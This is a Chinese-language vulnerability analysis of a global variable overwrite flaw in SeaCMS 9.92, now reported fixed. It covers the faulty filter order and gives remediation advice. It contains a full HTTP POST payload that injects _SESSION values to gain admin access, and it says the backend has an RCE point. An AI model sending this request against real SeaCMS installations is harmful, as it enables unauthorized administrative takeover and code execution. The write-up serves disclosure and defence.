seacms9.92从变量覆盖到getshell(已修复)
字数 1178 2025-08-27 12:33:49
SeaCMS 9.92 全局变量覆盖漏洞分析与利用
漏洞概述
SeaCMS 9.92版本存在一个全局变量覆盖漏洞,攻击者可以利用该漏洞实现从越权访问到远程代码执行(RCE)的攻击链。该漏洞的核心问题在于变量注册与过滤的逻辑顺序不当,导致可以覆盖敏感全局变量,特别是$_SESSION变量。
漏洞原理分析
1. 变量注册机制
SeaCMS中多数程序在开头都会包含include/common.php文件,该文件主要功能:
- 将
$_GET、$_POST、$_COOKIE注册成全局变量(通过include/filter.inc.php实现) - 检查是否存在非法变量名
关键问题:
- 逻辑顺序错误:应该先检查变量名合法性,再注册变量
- 过滤不完整:漏过滤了
_SESSION、_FILES等超全局变量
2. 身份验证机制
后台管理员身份验证主要依赖两个session变量:
$_SESSION['sea_admin_id']- 管理员ID$_SESSION['hashstr']- 由数据库名、账号、密码拼接的MD5值
攻击者需要同时覆盖这两个变量才能实现越权访问,其中$_SESSION['hashstr']由于包含敏感信息难以猜测。
漏洞利用步骤
第一步:获取普通用户session
- 注册或登录一个普通用户账号
- 普通用户登录时会设置
$_SESSION['hashstr'](见login.php)
第二步:覆盖session变量
构造特殊的POST请求覆盖session变量:
POST /seacms992/login.php HTTP/1.1
Host: 0.0.0.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ot3pjfmngfkugktsk9ajns5336
Connection: close
Content-Length: 97
dopost=login&userid=demo&pwd=demo&validate=XWTZ&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=xwtz
关键参数说明:
dopost=login- 执行登录操作userid和pwd- 普通用户凭据validate- 验证码_SESSION[sea_admin_id]=1- 覆盖为管理员ID_SESSION[sea_ckstr]=xwtz- 必须设置为小写验证码
第三步:访问后台获取RCE
成功覆盖session后,直接访问后台地址即可实现越权登录。在后台中可以找到RCE点实现代码执行。
漏洞修复建议
- 调整变量处理逻辑顺序:先检查变量名合法性,再注册变量
- 完善过滤机制:增加对
_SESSION、_FILES等超全局变量的过滤 - 加强session管理:对关键session变量增加额外的验证机制
漏洞关联性
该漏洞与DedeCMS、DuomiCMS等CMS的历史漏洞有相似之处,可能是代码复用或借鉴导致的相似安全问题。
注意事项
- 该漏洞利用需要知道网站后台路径(SeaCMS后台路径是随机命名的)
- 最新版本虽然过滤了
$_SESSION和_FILES,但由于校验逻辑顺序问题,仍可能存在类似漏洞 - 攻击者需要能够获取或预测
$_SESSION['sea_ckstr']的值(小写验证码)